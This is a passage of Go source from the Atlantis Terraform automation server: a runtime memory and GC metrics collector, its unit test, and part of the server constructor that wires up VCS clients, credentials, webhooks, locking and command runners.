tally.Gauge memoryHeapObjects tally.Gauge memoryStackInuse tally.Gauge memoryStackSys tally.Gauge memoryStackMSpanInuse tally.Gauge memoryStackMSpanSys tally.Gauge memoryStackMCacheInuse tally.Gauge memoryStackMCacheSys tally.Gauge memoryOtherSys tally.Gauge memoryGCSys tally.Gauge memoryGCNext tally.Gauge memoryGCLast tally.Gauge memoryGCPauseTotal tally.Gauge memoryGCCount tally.Gauge } func NewRuntimeStats(scope tally.Scope) *RuntimeStatCollector { runtimeScope := scope.SubScope("runtime") cpuScope := runtimeScope.SubScope("cpu") memoryScope := runtimeScope.SubScope("memory") heapScope := memoryScope.SubScope("heap") stackScope := memoryScope.SubScope("stack") gcScope := memoryScope.SubScope("gc") runtimeMetrics := runtimeMetrics{ // cpu cpuGoroutines: cpuScope.Gauge("goroutines"), cpuCgoCalls: cpuScope.Gauge("cgo_calls"), // memory memoryAlloc: memoryScope.Gauge("alloc"), memoryTotal: memoryScope.Gauge("total"), memorySys: memoryScope.Gauge("sys"), memoryLookups: memoryScope.Gauge("lookups"), memoryMalloc: memoryScope.Gauge("malloc"), memoryFrees: memoryScope.Gauge("frees"), // heap memoryHeapAlloc: heapScope.Gauge("alloc"), memoryHeapSys: heapScope.Gauge("sys"), memoryHeapIdle: heapScope.Gauge("idle"), memoryHeapInuse: heapScope.Gauge("inuse"), memoryHeapReleased: heapScope.Gauge("released"), memoryHeapObjects: heapScope.Gauge("objects"), // stack memoryStackInuse: stackScope.Gauge("inuse"), memoryStackSys: stackScope.Gauge("sys"), memoryStackMSpanInuse: stackScope.Gauge("mspan_inuse"), memoryStackMSpanSys: stackScope.Gauge("sys"), memoryStackMCacheInuse: stackScope.Gauge("mcache_inuse"), memoryStackMCacheSys: stackScope.Gauge("mcache_sys"), memoryOtherSys: memoryScope.Gauge("othersys"), // GC memoryGCSys: gcScope.Gauge("sys"), memoryGCNext: gcScope.Gauge("next"), memoryGCLast: gcScope.Gauge("last"), memoryGCPauseTotal: gcScope.Gauge("pause_total"), memoryGCCount: gcScope.Gauge("count"), } return &RuntimeStatCollector{ runtimeMetrics: runtimeMetrics, } } func (r *RuntimeStatCollector) Run() { // cpu stats r.runtimeMetrics.cpuGoroutines.Update(float64(runtime.NumGoroutine())) r.runtimeMetrics.cpuCgoCalls.Update(float64(runtime.NumCgoCall())) var memStats runtime.MemStats runtime.ReadMemStats(&memStats) // general r.runtimeMetrics.memoryAlloc.Update(float64(memStats.Alloc)) r.runtimeMetrics.memoryTotal.Update(float64(memStats.TotalAlloc)) r.runtimeMetrics.memorySys.Update(float64(memStats.Sys)) r.runtimeMetrics.memoryLookups.Update(float64(memStats.Lookups)) r.runtimeMetrics.memoryMalloc.Update(float64(memStats.Mallocs)) r.runtimeMetrics.memoryFrees.Update(float64(memStats.Frees)) // heap r.runtimeMetrics.memoryHeapAlloc.Update(float64(memStats.HeapAlloc)) r.runtimeMetrics.memoryHeapSys.Update(float64(memStats.HeapSys)) r.runtimeMetrics.memoryHeapIdle.Update(float64(memStats.HeapIdle)) r.runtimeMetrics.memoryHeapInuse.Update(float64(memStats.HeapInuse)) r.runtimeMetrics.memoryHeapReleased.Update(float64(memStats.HeapReleased)) r.runtimeMetrics.memoryHeapObjects.Update(float64(memStats.HeapObjects)) // stack r.runtimeMetrics.memoryStackInuse.Update(float64(memStats.StackInuse)) r.runtimeMetrics.memoryStackSys.Update(float64(memStats.StackSys)) r.runtimeMetrics.memoryStackMSpanInuse.Update(float64(memStats.MSpanInuse)) r.runtimeMetrics.memoryStackMSpanSys.Update(float64(memStats.MSpanSys)) r.runtimeMetrics.memoryStackMCacheInuse.Update(float64(memStats.MCacheInuse)) r.runtimeMetrics.memoryStackMCacheSys.Update(float64(memStats.MCacheSys)) r.runtimeMetrics.memoryOtherSys.Update(float64(memStats.OtherSys)) // GC r.runtimeMetrics.memoryGCSys.Update(float64(memStats.GCSys)) r.runtimeMetrics.memoryGCNext.Update(float64(memStats.NextGC)) r.runtimeMetrics.memoryGCLast.Update(float64(memStats.LastGC)) r.runtimeMetrics.memoryGCPauseTotal.Update(float64(memStats.PauseTotalNs)) r.runtimeMetrics.memoryGCCount.Update(float64(memStats.NumGC)) } ================================================ FILE: server/scheduled/runtime_stats_test.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package scheduled import ( "testing" tally "github.com/uber-go/tally/v4" ) func TestRuntimeStatCollector_Run(t *testing.T) { scope := tally.NewTestScope("test", nil) r := NewRuntimeStats(scope) r.Run() expGaugeCount := 25 if len(scope.Snapshot().Gauges()) != expGaugeCount { t.Errorf("Expected %d gauges but got %d", expGaugeCount, len(scope.Snapshot().Gauges())) } } ================================================ FILE: server/server.go ================================================ // Copyright 2017 HootSuite Media Inc. // // Licensed under the Apache License, Version 2.0 (the License); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // http://www.apache.org/licenses/LICENSE-2.0 // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an AS IS BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. // Modified hereafter by contributors to runatlantis/atlantis. // Package server handles the web server and executing commands that come in // via webhooks. package server import ( "context" "crypto/tls" "embed" "errors" "flag" "fmt" "io" "log" "net/http" "net/http/pprof" "net/url" "os" "os/signal" "path/filepath" "slices" "sort" "strings" "syscall" "time" "github.com/go-playground/validator/v10" "github.com/mitchellh/go-homedir" tally "github.com/uber-go/tally/v4" prometheus "github.com/uber-go/tally/v4/prometheus" "github.com/urfave/negroni/v3" "github.com/runatlantis/atlantis/server/core/boltdb" cfg "github.com/runatlantis/atlantis/server/core/config" "github.com/runatlantis/atlantis/server/core/config/valid" "github.com/runatlantis/atlantis/server/core/db" "github.com/runatlantis/atlantis/server/core/redis" "github.com/runatlantis/atlantis/server/core/terraform/tfclient" "github.com/runatlantis/atlantis/server/jobs" "github.com/runatlantis/atlantis/server/metrics" "github.com/runatlantis/atlantis/server/scheduled" "github.com/gorilla/mux" "github.com/runatlantis/atlantis/server/controllers" events_controllers "github.com/runatlantis/atlantis/server/controllers/events" "github.com/runatlantis/atlantis/server/controllers/web_templates" "github.com/runatlantis/atlantis/server/controllers/websocket" "github.com/runatlantis/atlantis/server/core/locking" "github.com/runatlantis/atlantis/server/core/runtime" "github.com/runatlantis/atlantis/server/core/runtime/policy" "github.com/runatlantis/atlantis/server/core/terraform" "github.com/runatlantis/atlantis/server/events" "github.com/runatlantis/atlantis/server/events/command" "github.com/runatlantis/atlantis/server/events/models" "github.com/runatlantis/atlantis/server/events/vcs" "github.com/runatlantis/atlantis/server/events/vcs/azuredevops" "github.com/runatlantis/atlantis/server/events/vcs/bitbucketcloud" "github.com/runatlantis/atlantis/server/events/vcs/bitbucketserver" "github.com/runatlantis/atlantis/server/events/vcs/common" "github.com/runatlantis/atlantis/server/events/vcs/gitea" "github.com/runatlantis/atlantis/server/events/vcs/github" "github.com/runatlantis/atlantis/server/events/vcs/gitlab" "github.com/runatlantis/atlantis/server/events/webhooks" "github.com/runatlantis/atlantis/server/logging" ) const ( // LockViewRouteName is the named route in mux.Router for the lock view. // The route can be retrieved by this name, ex: // mux.Router.Get(LockViewRouteName) LockViewRouteName = "lock-detail" // LockViewRouteIDQueryParam is the query parameter needed to construct the lock view // route. ex: // mux.Router.Get(LockViewRouteName).URL(LockViewRouteIDQueryParam, "my id") LockViewRouteIDQueryParam = "id" // ProjectJobsViewRouteName is the named route in mux.Router for the log stream view. ProjectJobsViewRouteName = "project-jobs-detail" // binDirName is the name of the directory inside our data dir where // we download binaries. BinDirName = "bin" // terraformPluginCacheDir is the name of the dir inside our data dir // where we tell terraform to cache plugins and modules. TerraformPluginCacheDirName = "plugin-cache" ) // Server runs the Atlantis web server. type Server struct { AtlantisVersion string AtlantisURL *url.URL Router *mux.Router Port int PostWorkflowHooksCommandRunner *events.DefaultPostWorkflowHooksCommandRunner PreWorkflowHooksCommandRunner *events.DefaultPreWorkflowHooksCommandRunner CommandRunner *events.DefaultCommandRunner Logger logging.SimpleLogging StatsScope tally.Scope StatsReporter tally.BaseStatsReporter StatsCloser io.Closer Locker locking.Locker ApplyLocker locking.ApplyLocker VCSEventsController *events_controllers.VCSEventsController GithubAppController *controllers.GithubAppController LocksController *controllers.LocksController StatusController *controllers.StatusController JobsController *controllers.JobsController APIController *controllers.APIController IndexTemplate web_templates.TemplateWriter LockDetailTemplate web_templates.TemplateWriter ProjectJobsTemplate web_templates.TemplateWriter ProjectJobsErrorTemplate web_templates.TemplateWriter SSLCertFile string SSLKeyFile string CertLastRefreshTime time.Time KeyLastRefreshTime time.Time SSLCert *tls.Certificate Drainer *events.Drainer WebAuthentication bool WebUsername string WebPassword string ProjectCmdOutputHandler jobs.ProjectCommandOutputHandler ScheduledExecutorService *scheduled.ExecutorService DisableGlobalApplyLock bool EnableProfilingAPI bool database db.Database } // Config holds config for server that isn't passed in by the user. type Config struct { AllowForkPRsFlag string AtlantisURLFlag string AtlantisVersion string DefaultTFDistributionFlag string DefaultTFVersionFlag string RepoConfigJSONFlag string SilenceForkPRErrorsFlag string } // WebhookConfig is nested within UserConfig. It's used to configure webhooks. type WebhookConfig struct { // Event is the type of event we should send this webhook for, ex. apply. Event string `mapstructure:"event"` // WorkspaceRegex is a regex that is used to match against the workspace // that is being modified for this event. If the regex matches, we'll // send the webhook, ex. "production.*". WorkspaceRegex string `mapstructure:"workspace-regex"` // BranchRegex is a regex that is used to match against the base branch // that is being modified for this event. If the regex matches, we'll // send the webhook, ex. "main.*". BranchRegex string `mapstructure:"branch-regex"` // Kind is the type of webhook we should send, ex. slack or http. Kind string `mapstructure:"kind"` // Channel is the channel to send this webhook to. It only applies to // slack webhooks. Should be without '#'. Channel string `mapstructure:"channel"` // URL is the URL where to deliver this webhook. It only applies to // http webhooks. URL string `mapstructure:"url"` } //go:embed static var staticAssets embed.FS // NewServer returns a new server. If there are issues starting the server or // its dependencies an error will be returned. This is like the main() function // for the server CLI command because it injects all the dependencies. func NewServer(userConfig UserConfig, config Config) (*Server, error) { logging.SuppressDefaultLogging() logger, err := logging.NewStructuredLoggerFromLevel(userConfig.ToLogLevel()) if err != nil { return nil, err } var supportedVCSHosts []models.VCSHostType var githubClient github.IGithubClient var githubAppEnabled bool var githubConfig github.Config var githubCredentials github.Credentials var gitlabClient *gitlab.Client var bitbucketCloudClient *bitbucketcloud.Client var bitbucketServerClient *bitbucketserver.Client var azuredevopsClient *azuredevops.Client var giteaClient *gitea.Client policyChecksEnabled := false if userConfig.EnablePolicyChecksFlag { logger.Info("Policy Checks are enabled") policyChecksEnabled = true } allowCommands, err := userConfig.ToAllowCommandNames() if err != nil { return nil, err } disableApply := !slices.Contains(allowCommands, command.Apply) parserValidator := &cfg.ParserValidator{} globalCfg := valid.NewGlobalCfgFromArgs( valid.GlobalCfgArgs{ PolicyCheckEnabled: userConfig.EnablePolicyChecksFlag, }) if userConfig.RepoConfig != "" { globalCfg, err = parserValidator.ParseGlobalCfg(userConfig.RepoConfig, globalCfg) if err != nil { return nil, fmt.Errorf("parsing %s file: %w", userConfig.RepoConfig, err) } } else if userConfig.RepoConfigJSON != "" { globalCfg, err = parserValidator.ParseGlobalCfgJSON(userConfig.RepoConfigJSON, globalCfg) if err != nil { return nil, fmt.Errorf("parsing --%s: %w", config.RepoConfigJSONFlag, err) } } statsScope, statsReporter, closer, err := metrics.NewScope(globalCfg.Metrics, logger, userConfig.StatsNamespace) if err != nil { return nil, fmt.Errorf("instantiating metrics scope: %w", err) } if userConfig.GithubUser != "" || userConfig.GithubAppID != 0 { if userConfig.GithubAllowMergeableBypassApply { githubConfig = github.Config{ AllowMergeableBypassApply: true, } } supportedVCSHosts = append(supportedVCSHosts, models.Github) if userConfig.GithubUser != "" { githubCredentials = &github.UserCredentials{ User: userConfig.GithubUser, Token: userConfig.GithubToken, TokenFile: userConfig.GithubTokenFile, } } else if userConfig.GithubAppID != 0 && userConfig.GithubAppKeyFile != "" { privateKey, err := os.ReadFile(userConfig.GithubAppKeyFile) if err != nil { return nil, err } githubCredentials = &github.AppCredentials{ AppID: userConfig.GithubAppID, InstallationID: userConfig.GithubAppInstallationID, Key: privateKey, Hostname: userConfig.GithubHostname, AppSlug: userConfig.GithubAppSlug, } githubAppEnabled = true } else if userConfig.GithubAppID != 0 && userConfig.GithubAppKey != "" { githubCredentials = &github.AppCredentials{ AppID: userConfig.GithubAppID, InstallationID: userConfig.GithubAppInstallationID, Key: []byte(userConfig.GithubAppKey), Hostname: userConfig.GithubHostname, AppSlug: userConfig.GithubAppSlug, } githubAppEnabled = true } var err error rawGithubClient, err := github.New(userConfig.GithubHostname, githubCredentials, githubConfig, userConfig.MaxCommentsPerCommand, logger) if err != nil { return nil, err } githubClient = github.NewInstrumentedGithubClient(rawGithubClient, statsScope, logger) } if userConfig.GitlabUser != "" { supportedVCSHosts = append(supportedVCSHosts, models.Gitlab) var err error gitlabGroupAllowlistChecker, err := command.NewTeamAllowlistChecker(userConfig.GitlabGroupAllowlist) if err != nil { return nil, err } gitlabGroups := slices.Concat(gitlabGroupAllowlistChecker.AllTeams(), globalCfg.PolicySets.AllTeams()) slices.Sort(gitlabGroups) gitlabClient, err = gitlab.New(userConfig.GitlabHostname, userConfig.GitlabToken, slices.Compact(gitlabGroups), logger) if err != nil { return nil, err } gitlabClient.StatusRetryEnabled = userConfig.GitlabStatusRetryEnabled } if userConfig.BitbucketUser != "" { if userConfig.BitbucketBaseURL == bitbucketcloud.BaseURL { supportedVCSHosts = append(supportedVCSHosts, models.BitbucketCloud) bitbucketCloudClient = bitbucketcloud.New( http.DefaultClient, userConfig.BitbucketUser, userConfig.BitbucketToken, userConfig.BitbucketApiUser, userConfig.AtlantisURL) } else { supportedVCSHosts = append(supportedVCSHosts, models.BitbucketServer) var err error bitbucketServerClient, err = bitbucketserver.NewClient( http.DefaultClient, userConfig.BitbucketUser, userConfig.BitbucketToken, userConfig.BitbucketBaseURL, userConfig.AtlantisURL) if err != nil { return nil, fmt.Errorf("setting up Bitbucket Server client: %w", err) } } } if userConfig.AzureDevopsUser != "" { supportedVCSHosts = append(supportedVCSHosts, models.AzureDevops) var err error azuredevopsClient, err = azuredevops.New(userConfig.AzureDevOpsHostname, userConfig.AzureDevopsUser, userConfig.AzureDevopsToken) if err != nil { return nil, err } } if userConfig.GiteaToken != "" { supportedVCSHosts = append(supportedVCSHosts, models.Gitea) giteaClient, err = gitea.New(userConfig.GiteaBaseURL, userConfig.GiteaUser, userConfig.GiteaToken, userConfig.GiteaPageSize, logger) if err != nil { fmt.Println("error setting up gitea client", "error", err) return nil, fmt.Errorf("setting up Gitea client: %w", err) } else { logger.Info("gitea client configured successfully") } } var supportedVCSHostsStr []string for _, host := range supportedVCSHosts { supportedVCSHostsStr = append(supportedVCSHostsStr, host.String()) } logger.Info("Supported VCS Hosts: %s", strings.Join(supportedVCSHostsStr, ", ")) home, err := homedir.Dir() if err != nil { return nil, fmt.Errorf("getting home dir to write ~/.git-credentials file: %w", err) } if userConfig.WriteGitCreds { if userConfig.GithubUser != "" { if err := common.WriteGitCreds(userConfig.GithubUser, userConfig.GithubToken, userConfig.GithubHostname, home, logger, false); err != nil { return nil, err } } if userConfig.GitlabUser != "" { if err := common.WriteGitCreds(userConfig.GitlabUser, userConfig.GitlabToken, userConfig.GitlabHostname, home, logger, false); err != nil { return nil, err } } if userConfig.BitbucketUser != "" { // The default BitbucketBaseURL is https://api.bitbucket.org which can't actually be used for git // so we override it here only if it's that to be bitbucket.org bitbucketBaseURL := userConfig.BitbucketBaseURL if bitbucketBaseURL == "https://api.bitbucket.org" { bitbucketBaseURL = "bitbucket.org" } if err := common.WriteGitCreds(userConfig.BitbucketUser, userConfig.BitbucketToken, bitbucketBaseURL, home, logger, false); err != nil { return nil, err } } if userConfig.AzureDevopsUser != "" { if err := common.WriteGitCreds(userConfig.AzureDevopsUser, userConfig.AzureDevopsToken, "dev.azure.com", home, logger, false); err != nil { return nil, err } } if userConfig.GiteaUser != "" { if err := common.WriteGitCreds(userConfig.GiteaUser, userConfig.GiteaToken, userConfig.GiteaBaseURL, home, logger, false); err != nil { return nil, err } } } // default the project files used to generate the module index to the autoplan-file-list if autoplan-modules is true // but no files are specified if userConfig.AutoplanModules && userConfig.AutoplanModulesFromProjects == "" { userConfig.AutoplanModulesFromProjects = userConfig.AutoplanFileList } var webhooksConfig []webhooks.Config for _, c := range userConfig.Webhooks { config := webhooks.Config{ Channel: c.Channel, BranchRegex: c.BranchRegex, Event: c.Event, Kind: c.Kind, WorkspaceRegex: c.WorkspaceRegex, URL: c.URL, } webhooksConfig = append(webhooksConfig, config) } webhookHeaders, err := userConfig.ToWebhookHttpHeaders() if err != nil { return nil, fmt.Errorf("parsing webhook http headers: %w", err) } webhooksManager, err := webhooks.NewMultiWebhookSender( webhooksConfig, webhooks.Clients{ Slack: webhooks.NewSlackClient(userConfig.SlackToken), Http: &webhooks.HttpClient{Client: http.DefaultClient, Headers: webhookHeaders}, }, ) if err != nil { return nil, fmt.Errorf("initializing webhooks: %w", err) } vcsClient := vcs.NewClientProxy(githubClient, gitlabClient, bitbucketCloudClient, bitbucketServerClient, azuredevopsClient, giteaClient) commitStatusUpdater := &events.DefaultCommitStatusUpdater{Client: vcsClient, StatusName: userConfig.VCSStatusName} binDir, err := mkSubDir(userConfig.DataDir, BinDirName) if err != nil { return nil, err } cacheDir, err := mkSubDir(userConfig.DataDir, TerraformPluginCacheDirName) if err != nil { return nil, err } parsedURL, err := ParseAtlantisURL(userConfig.AtlantisURL) if err != nil { return nil, fmt.Errorf("parsing --%s flag %q: %w", config.AtlantisURLFlag, userConfig.AtlantisURL, err) } underlyingRouter := mux.NewRouter() router := &Router{ AtlantisURL: parsedURL, LockViewRouteIDQueryParam: LockViewRouteIDQueryParam, LockViewRouteName: LockViewRouteName, ProjectJobsViewRouteName: ProjectJobsViewRouteName, Underlying: underlyingRouter, } var projectCmdOutputHandler jobs.ProjectCommandOutputHandler if userConfig.TFEToken != "" && !userConfig.TFELocalExecutionMode { // When TFE is enabled and using remote execution mode log streaming is not necessary. projectCmdOutputHandler = &jobs.NoopProjectOutputHandler{} } else { projectCmdOutput := make(chan *jobs.ProjectCmdOutputLine) projectCmdOutputHandler = jobs.NewAsyncProjectCommandOutputHandler( projectCmdOutput, logger, ) } distribution := terraform.NewDistribution(userConfig.DefaultTFDistribution) terraformClient, err := tfclient.NewClient( logger, distribution, binDir, cacheDir, userConfig.TFEToken, userConfig.TFEHostname, userConfig.DefaultTFVersion, config.DefaultTFVersionFlag, userConfig.TFDownloadURL, userConfig.TFDownload, userConfig.UseTFPluginCache, projectCmdOutputHandler) // The flag.Lookup call is to detect if we're running in a unit test. If we // are, then we don't error out because we don't have/want terraform // installed on our CI system where the unit tests run. if err != nil && flag.Lookup("test.v") == nil { return nil, fmt.Errorf("initializing %s: %w", userConfig.DefaultTFDistribution, err) } markdownRenderer := events.NewMarkdownRenderer( gitlabClient.SupportsCommonMark(), userConfig.DisableApplyAll, disableApply, userConfig.DisableMarkdownFolding, userConfig.DisableRepoLocking, userConfig.EnableDiffMarkdownFormat, userConfig.MarkdownTemplateOverridesDir, userConfig.ExecutableName, userConfig.HideUnchangedPlanComments, userConfig.QuietPolicyChecks, ) var lockingClient locking.Locker var applyLockingClient locking.ApplyLocker var database db.Database switch dbtype := userConfig.LockingDBType; dbtype { case "redis": logger.Info("Utilizing Redis DB") database, err = redis.New(userConfig.RedisHost, userConfig.RedisPort, userConfig.RedisPassword, userConfig.RedisTLSEnabled, userConfig.RedisInsecureSkipVerify, userConfig.RedisDB) if err != nil { return nil, err } case "boltdb": logger.Info("Utilizing BoltDB") database, err = boltdb.New(userConfig.DataDir) if err != nil { return nil, err } } noOpLocker := locking.NewNoOpLocker() if userConfig.DisableRepoLocking { logger.Info("Repo Locking is disabled") lockingClient = noOpLocker } else { lockingClient = locking.NewClient(database) } disableGlobalApplyLock := userConfig.DisableGlobalApplyLock applyLockingClient = locking.NewApplyClient(database, disableApply, disableGlobalApplyLock) workingDirLocker := events.NewDefaultWorkingDirLocker() var workingDir events.WorkingDir = &events.FileWorkspace{ DataDir: userConfig.DataDir, CheckoutMerge: userConfig.CheckoutStrategy == "merge", CheckoutDepth: userConfig.CheckoutDepth, GithubAppEnabled: githubAppEnabled, } scheduledExecutorService := scheduled.NewExecutorService( statsScope, logger, ) // provide fresh tokens before clone from the GitHub Apps integration, proxy workingDir if githubAppEnabled { if !userConfig.WriteGitCreds { return nil, errors.New("github App requires --write-git-creds to support cloning") } workingDir = &events.GithubAppWorkingDir{ WorkingDir: workingDir, Credentials: githubCredentials, GithubHostname: userConfig.GithubHostname, } githubAppTokenRotator := github.NewTokenRotator(logger, githubCredentials, userConfig.GithubHostname, "x-access-token", home) tokenJd, err := githubAppTokenRotator.GenerateJob() if err != nil { return nil, fmt.Errorf("could not write credentials: %w", err) } scheduledExecutorService.AddJob(tokenJd) } if userConfig.GithubUser != "" && userConfig.GithubTokenFile != "" && userConfig.WriteGitCreds { githubTokenRotator := github.NewTokenRotator(logger, githubCredentials, userConfig.GithubHostname, userConfig.GithubUser, home) tokenJd, err := githubTokenRotator.GenerateJob() if err != nil { return nil, fmt.Errorf("could not write credentials: %w", err) } scheduledExecutorService.AddJob(tokenJd) } projectLocker := &events.DefaultProjectLocker{ Locker: lockingClient, NoOpLocker: noOpLocker, VCSClient: vcsClient, } deleteLockCommand := &events.DefaultDeleteLockCommand{ Locker: lockingClient, WorkingDir: workingDir, WorkingDirLocker: workingDirLocker, Database: database, } pullClosedExecutor := events.NewInstrumentedPullClosedExecutor( statsScope, logger, &events.PullClosedExecutor{ Locker: lockingClient, WorkingDir: workingDir, Database: database, PullClosedTemplate: &events.PullClosedEventTemplate{}, LogStreamResourceCleaner: projectCmdOutputHandler, VCSClient: vcsClient, }, ) eventParser := &events.EventParser{ GithubUser: userConfig.GithubUser, GithubToken: userConfig.GithubToken, GithubTokenFile: userConfig.GithubTokenFile, GitlabUser: userConfig.GitlabUser, GitlabToken: userConfig.GitlabToken, GiteaUser: userConfig.GiteaUser, GiteaToken: userConfig.GiteaToken, AllowDraftPRs: userConfig.PlanDrafts, BitbucketUser: userConfig.BitbucketUser, BitbucketToken: userConfig.BitbucketToken, BitbucketServerURL: userConfig.BitbucketBaseURL, AzureDevopsUser: userConfig.AzureDevopsUser, AzureDevopsToken: userConfig.AzureDevopsToken, } commentParser := events.NewCommentParser( userConfig.GithubUser, userConfig.GitlabUser, userConfig.GiteaUser, userConfig.BitbucketUser, userConfig.AzureDevopsUser, userConfig.ExecutableName, allowCommands, ) defaultTfDistribution := terraformClient.DefaultDistribution() defaultTfVersion := terraformClient.DefaultVersion() pendingPlanFinder := &events.DefaultPendingPlanFinder{} runStepRunner := &runtime.RunStepRunner{ TerraformExecutor: terraformClient, DefaultTFDistribution: defaultTfDistribution, DefaultTFVersion: defaultTfVersion, TerraformBinDir: terraformClient.TerraformBinDir(), ProjectCmdOutputHandler: projectCmdOutputHandler, } drainer := &events.Drainer{} statusController := &controllers.StatusController{ Logger: logger, Drainer: drainer, AtlantisVersion: config.AtlantisVersion, } preWorkflowHooksCommandRunner := &events.DefaultPreWorkflowHooksCommandRunner{ VCSClient: vcsClient, GlobalCfg: globalCfg, WorkingDirLocker: workingDirLocker, WorkingDir: workingDir, PreWorkflowHookRunner: runtime.DefaultPreWorkflowHookRunner{ OutputHandler: projectCmdOutputHandler, }, CommitStatusUpdater: commitStatusUpdater, Router: router, } postWorkflowHooksCommandRunner := &events.DefaultPostWorkflowHooksCommandRunner{ VCSClient: vcsClient, GlobalCfg: globalCfg, WorkingDirLocker: workingDirLocker, WorkingDir: workingDir, PostWorkflowHookRunner: runtime.DefaultPostWorkflowHookRunner{ OutputHandler: projectCmdOutputHandler, }, CommitStatusUpdater: commitStatusUpdater, Router: router, } projectCommandBuilder := events.NewInstrumentedProjectCommandBuilder( logger, policyChecksEnabled, parserValidator, &events.DefaultProjectFinder{}, vcsClient, workingDir, workingDirLocker, globalCfg, pendingPlanFinder, commentParser, userConfig.SkipCloneNoChanges, userConfig.EnableRegExpCmd, userConfig.Automerge, userConfig.ParallelPlan, userConfig.ParallelApply, userConfig.AutoplanModulesFromProjects, userConfig.AutoplanFileList, userConfig.RestrictFileList, userConfig.SilenceNoProjects, userConfig.IncludeGitUntrackedFiles, userConfig.AutoDiscoverModeFlag, statsScope, terraformClient, ) showStepRunner, err := runtime.NewShowStepRunner(terraformClient, defaultTfDistribution, defaultTfVersion) if err != nil { return nil, fmt.Errorf("initializing show step runner: %w", err) } policyCheckStepRunner, err := runtime.NewPolicyCheckStepRunner( defaultTfDistribution, defaultTfVersion, policy.NewConfTestExecutorWorkflow(logger, binDir, &policy.ConfTestGoGetterVersionDownloader{}), ) if err != nil { return nil, fmt.Errorf("initializing policy check step runner: %w", err) } applyRequirementHandler := &events.DefaultCommandRequirementHandler{ WorkingDir: workingDir, } cancellationTracker := events.NewCancellationTracker() projectCommandRunner := &events.DefaultProjectCommandRunner{ VcsClient: vcsClient, Locker: projectLocker, LockURLGenerator: router, Logger: logger, InitStepRunner: &runtime.InitStepRunner{ TerraformExecutor: terraformClient, DefaultTFDistribution: defaultTfDistribution, DefaultTFVersion: defaultTfVersion, }, PlanStepRunner: runtime.NewPlanStepRunner(terraformClient, defaultTfDistribution, defaultTfVersion, commitStatusUpdater, terraformClient), ShowStepRunner: showStepRunner, PolicyCheckStepRunner: policyCheckStepRunner, ApplyStepRunner: &runtime.ApplyStepRunner{ TerraformExecutor: terraformClient, DefaultTFDistribution: defaultTfDistribution, DefaultTFVersion: defaultTfVersion, CommitStatusUpdater: commitStatusUpdater, AsyncTFExec: terraformClient, }, RunStepRunner: runStepRunner, EnvStepRunner: &runtime.EnvStepRunner{ RunStepRunner: runStepRunner, }, MultiEnvStepRunner: &runtime.MultiEnvStepRunner{ RunStepRunner: runStepRunner, }, VersionStepRunner: &runtime.VersionStepRunner{ TerraformExecutor: terraformClient, DefaultTFDistribution: defaultTfDistribution, DefaultTFVersion: defaultTfVersion, }, ImportStepRunner: runtime.NewImportStepRunner(terraformClient, defaultTfDistribution, defaultTfVersion), StateRmStepRunner: runtime.NewStateRmStepRunner(terraformClient, defaultTfDistribution, defaultTfVersion), WorkingDir: workingDir, Webhooks: webhooksManager, WorkingDirLocker: workingDirLocker, CommandRequirementHandler: applyRequirementHandler, CancellationTracker: cancellationTracker, } dbUpdater := &events.DBUpdater{ Database: database, } pullUpdater := &events.PullUpdater{ HidePrevPlanComments: userConfig.HidePrevPlanComments, VCSClient: vcsClient, MarkdownRenderer: markdownRenderer, } autoMerger := &events.AutoMerger{ VCSClient: vcsClient, GlobalAutomerge: userConfig.Automerge, } projectOutputWrapper := &events.ProjectOutputWrapper{ JobMessageSender: projectCmdOutputHandler, ProjectCommandRunner: projectCommandRunner, JobURLSetter: jobs.NewJobURLSetter(router, commitStatusUpdater), } instrumentedProjectCmdRunner := events.NewInstrumentedProjectCommandRunner( statsScope, projectOutputWrapper, ) policyCheckCommandRunner := events.NewPolicyCheckCommandRunner( dbUpdater, pullUpdater, commitStatusUpdater, instrumentedProjectCmdRunner, userConfig.ParallelPoolSize, userConfig.SilenceVCSStatusNoProjects, userConfig.QuietPolicyChecks, ) pullReqStatusFetcher := vcs.NewPullReqStatusFetcher(vcsClient, userConfig.VCSStatusName, strings.Split(userConfig.IgnoreVCSStatusNames, ",")) planCommandRunner := events.NewPlanCommandRunner( userConfig.SilenceVCSStatusNoPlans, userConfig.SilenceVCSStatusNoProjects, vcsClient, pendingPlanFinder, workingDir, commitStatusUpdater, projectCommandBuilder, instrumentedProjectCmdRunner, cancellationTracker, dbUpdater, pullUpdater, policyCheckCommandRunner, autoMerger, userConfig.ParallelPoolSize, userConfig.SilenceNoProjects, database, lockingClient, userConfig.DiscardApprovalOnPlanFlag, pullReqStatusFetcher, userConfig.PendingApplyStatus, ) applyCommandRunner := events.NewApplyCommandRunner( vcsClient, userConfig.DisableApplyAll, applyLockingClient, commitStatusUpdater, projectCommandBuilder, instrumentedProjectCmdRunner, cancellationTracker, autoMerger, pullUpdater, dbUpdater, database, userConfig.ParallelPoolSize, userConfig.SilenceNoProjects, userConfig.SilenceVCSStatusNoProjects, pullReqStatusFetcher, ) approvePoliciesCommandRunner := events.NewApprovePoliciesCommandRunner( commitStatusUpdater, projectCommandBuilder, instrumentedProjectCmdRunner, pullUpdater, dbUpdater, userConfig.SilenceNoProjects, userConfig.SilenceVCSStatusNoPlans, vcsClient, ) unlockCommandRunner := events.NewUnlockCommandRunner( deleteLockCommand, vcsClient, userConfig.SilenceNoProjects, userConfig.DisableUnlockLabel, ) versionCommandRunner := events.NewVersionCommandRunner( pullUpdater, projectCommandBuilder, projectOutputWrapper, userConfig.ParallelPoolSize, userConfig.SilenceNoProjects, ) importCommandRunner := events.NewImportCommandRunner( pullUpdater, pullReqStatusFetcher, projectCommandBuilder, instrumentedProjectCmdRunner, userConfig.SilenceNoProjects, ) stateCommandRunner := events.NewStateCommandRunner( pullUpdater, projectCommandBuilder, instrumentedProjectCmdRunner, ) cancelCommandRunner := events.NewCancelCommandRunner( vcsClient, projectOutputWrapper.ProjectCommandRunner, pullUpdater, workingDirLocker, userConfig.SilenceNoProjects, ) commentCommandRunnerByCmd := map[command.Name]events.CommentCommandRunner{ command.Plan: planCommandRunner, command.Apply: applyCommandRunner, command.ApprovePolicies: approvePoliciesCommandRunner, command.Unlock: unlockCommandRunner, command.Version: versionCommandRunner, command.Import: importCommandRunner, command.State: stateCommandRunner, command.Cancel: cancelCommandRunner, } var teamAllowlistChecker 